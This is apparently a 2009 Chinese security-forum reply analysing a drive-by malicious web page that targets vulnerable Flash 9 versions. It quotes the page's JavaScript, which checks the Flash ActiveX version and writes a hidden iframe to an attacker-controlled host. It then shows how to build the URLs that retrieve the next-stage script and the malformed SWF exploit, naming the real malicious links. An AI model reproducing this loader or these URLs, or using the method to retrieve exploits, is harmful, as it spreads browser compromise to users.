原帖由 networkedition 于 2009-6-4 13:34:00 发表
实际上这里就提供了具体flash版本号,结合这个那么flash网马地址也就出来了。
这是最关键的部分,但是你没有说清楚,这样看帖的人不会明白怎么根据版本号得到真正的地址。
详细地说应该是这样的:
参照恶意网页原文
try{var l;
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
catch(l){};
finally{if(l!="[object Error]"){
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"></iframe>');}
}}
该代码尝试创建新的SWF9的ActiveX对象,并获得对象中$version属性的值,将其保存到变量Flashver中,使用变量l捕获错误。
当不出现[object Error]错误,说明系统存在这个ActiveX控件且可用,这时检查Flashver中是否包含特定的版本号字样。如果是,说明漏洞存在。
在漏洞存在的情况下,使用Flashver变量为参数访问flash.asp,从而得到真正的恶意代码内容。
那么这里要得到真正的恶意代码内容,就必须知道符合该漏洞要求的Flashver值到底是什么,将此值正确地加入iframe的URL链接中。
而Flashver值的形式,正是对此漏洞不熟悉的读者最生疏的地方。楼主没有讲清楚这个,这样大家基本上就摸不着头脑了。
Flashver的值源于对象中的$version属性,在用于IE组件的SWF9控件中该属性的值的形式为"win 9,0,x,0",其中x是副版本号,也就是该代码最关心的依据。
因此,符合以上条件的Flashver值应该为如下值之一:
win 9,0,16,0
win 9,0,28,0
win 9,0,45,0
win 9,0,47,0
win 9,0,64,0
win 9,0,115,0
因此将如下值其中之一加到iframe的src后面就可以得到相应的恶意代码。这里由于Flashver中有空格,我把空格给escape了,最后得到的链接为如下形式:
http://30mm.azzwg.cn/cb/ff/flash.asp?id=win%209,0,16,0
其他副版本号的依此类推。
(另外尝试发现,Flashver只写成"9,0,16,0"也照样可以成功,说明这个asp同样只是判断其中有没有关键字并返回相应的内容,而并不是判断整个Flashver)
上面这个链接得到的网页内容为:
<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>
到了这里,才能看到GG16.swf。于是真正的畸形swf文件的链接为
http://30mm.azzwg.cn/cb/ff/GG16.swf
其余副版本号的情况依此类推。